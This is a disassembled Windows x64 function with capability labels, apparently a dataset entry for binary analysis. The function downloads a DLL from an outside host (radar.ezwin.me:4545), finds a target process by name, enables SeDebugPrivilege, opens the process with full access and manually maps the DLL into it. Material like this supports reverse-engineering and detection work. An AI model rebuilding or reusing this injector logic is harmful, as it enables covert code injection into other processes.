Function at 0x140002360
Capabilities:
Acquire debug privileges
Check if file exists
Enumerate processes
Execute command
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x300]
sub rsp, 0x400
lea rcx, str.mode_con_cols170
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140002060
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140006740]
lea rcx, [0x140006748]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rdi, rax
test rax, rax
je 0x140002949
lea r8, str.https:__radar.ezwin.me:4545_dll
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140002050]
mov edx, 0x4e2b
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov r8, rsi
mov edx, 0x2711
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
lea edx, [r8 + 0x40]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
lea edx, [r8 + 0x51]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov r14d, eax
test eax, eax
je 0x140002468
lea rdx, str.Failed_to_download:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003cb0
mov rbx, rax
mov ecx, r14d
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov rdx, rax
mov rcx, rbx
call fcn.140003cb0
lea rdx, [0x140003e80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor esi, esi
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], sil
lea r8d, [rsi + 0xb]
lea rcx, [rsp + 0x70]
call fcn.140003ad0
nop
lea rdi, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rdi, qword [rsp + 0x70]
mov rbx, 0xffffffffffffffff
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x1400024c0
inc rcx
mov eax, 2
mul rcx
cmovo rax, rbx
mov rcx, rax
call fcn.1400041b0
mov r14, rax
mov rcx, rbx
inc rcx
cmp byte [rdi + rcx], 0
jne 0x1400024e6
nop
lea rbx, [rbx + 1]
cmp byte [rdi + rbx], 0
jne 0x1400024f0
lea r8, [rbx + 1]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov dword [rbp + 0xc0], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14000258d
lea rdx, [rbp + 0xc0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14000258d
nop dword [rax]
nop word [rax + rax]
mov rdx, r14
lea rcx, [rbp + 0xec]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x140002663
lea rdx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140002560
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, esi
mov edx, ebx
lea rcx, str.Process_pid:__d_n
call fcn.140001020
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002622
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
lea r8, [rsp + 0x64]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140002617
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x60]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140002674
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess_failed:_0x_X_n
call fcn.140001020
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea esi, [rbx - 2]
jmp 0x140002906
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp + 0xc8]
jmp 0x140002598
mov dword [rsp + 0x50], esi
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x1400026a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_confirm_target_process_architecture:_0x_X_n
call fcn.140001020
jmp 0x1400026c8
mov dword [rbp + 0x338], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x338]
cmp dword [rsp + 0x50], eax
je 0x1400026f4
lea rcx, str.Invalid_Process_Architecture._n
call fcn.140001020
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, 0xfffffffd
jmp 0x140002906
lea rcx, str.HSR_ER_DLL.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140002732
lea rcx, str.Dll_file_doesnt_exist_n
call fcn.140001020
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, 0xfffffffc
jmp 0x140002906
lea rcx, [rbp - 0x50]
call fcn.140003660
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x40]
test dl, 6
je 0x1400027a3
lea rcx, str.Opening_the_file_failed:__X_n
call fcn.140001020
lea rcx, [rbp - 0x40]
call fcn.140003a50
test rax, rax
jne 0x140002783
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, 0xfffffffb
jmp 0x1400028fc
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rbp - 0x68]
add rcx, qword [rbp - 0x70]
cmp rcx, 0x1000
jge 0x140002818
lea rcx, str.Filesize_invalid._n
call fcn.140001020
lea rcx, [rbp - 0x40]
call fcn.140003a50
test rax, rax
jne 0x1400027f8
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, 0xfffffffa
jmp 0x1400028fc
call fcn.1400041b0
mov rdi, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov r8, qword [rbp - 0x70]
add r8, qword [rbp - 0x68]
mov rdx, rdi
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x40]
call fcn.140003a50
test rax, rax
jne 0x14000286e
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.Mapping..._n
call fcn.140001020
mov r8, qword [rbp - 0x70]
add r8, qword [rbp - 0x68]
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rdx, rdi
mov rcx, rbx
call fcn.140001080
mov rcx, rdi
test al, al
jne 0x1400028e1
call fcn.14000416c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Error_while_mapping._n
call fcn.140001020
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, 0xfffffff8
jmp 0x1400028fc
call fcn.14000416c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1400068c0]
call fcn.140001020
nop
lea rcx, [rbp - 0x50]
call fcn.1400029a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140002945
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002940
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000416c
mov eax, esi
jmp 0x14000297c
lea rdx, str.Failed_to_initialize_libcurl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003cb0
lea rdx, [0x140003e80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
lea r11, [rsp + 0x400]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret